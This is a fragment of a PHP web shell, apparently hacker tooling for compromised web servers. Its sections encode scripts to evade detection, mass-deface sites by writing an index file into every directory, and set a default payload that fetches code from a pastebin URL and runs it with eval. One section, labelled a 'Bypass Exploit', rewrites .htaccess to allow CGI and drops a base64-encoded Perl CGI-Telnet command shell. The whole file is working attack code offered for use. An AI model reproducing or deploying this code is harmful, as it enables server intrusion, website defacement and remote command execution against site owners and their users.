cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
$file = fopen("python.izo" ,"w+");
$write = fwrite ($file ,base64_decode($pythonp));
fclose($file);
chmod("python.izo",0755);
echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
$text = $_POST['code'];
?><center><br><br><b>+--=[ Script Encode & Decode ]=--+</b><br><br>
<form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="base64">Base64</option>
<option value="super">str_rot13 - gzinflate - str_rot13 - base64 - gzinflate - str_rot13 - base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="base6416x">Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64 - Base64</option>
<option value="coeg">gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;case 'coeg' : $codi=base64_encode(gzdeflate($text));
break;case 'base6416x' : $codi=base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(base64_encode(($text)))))))))))))))));
break;case 'super' : $codi=base64_encode(str_rot13(gzdeflate(base64_encode(str_rot13(gzdeflate(str_rot13($text)))))));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;case 'coeg' : $codi=gzinflate(base64_decode($text));
break;case 'base6416x' : $codi=base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(base64_decode(($text)))))))))))))))));
break;case 'super' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(gzinflate(str_rot13(base64_decode($text)))))));
break;default:break;}}
$myfile = fopen("x.txt", "w") or die("Unable to open file!");
fwrite($myfile, $codi);
fclose($myfile);
echo '<center><div id="menu"><br><br>
<a href="x.txt" target="blank_">Result</a></div>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
error_reporting(0);?>
<br>
<center><div id="menu"><a href="?<?php echo "y=".$pwd; ?>&x=sabun">Sabun Massal</a> <a href="?<?php echo "y=".$pwd; ?>&x=massdeface2">Alternate Mass Deface</a> <a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a></center><br>
<center>
<center/><br/><b><font color=#00ff00>-=[ Mass Deface Recoded By 0x1999 ]=-</font></b><br>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="melex.php"></td>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'><?php
error_reporting(0);
eval(base64_decode(file_get_contents('http://pastebin.com/raw/NutU5ttK')));
?></textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form><br><br>
<br> Versi Text Area<br>
<textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
<?php $ini="http://";
$mainpath=$_POST[path];
$file=$_POST[file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[index]);
$indx=base64_decode($code);
while($row=readdir($dir)){
$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){echo"$ini$row/$file
";}}
?>
</textarea><br>
<br><br><b>Versi Text</b><br><br><br>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }}}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
mkdir('cgitelnet1', 0755);
chdir('cgitelnet1');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h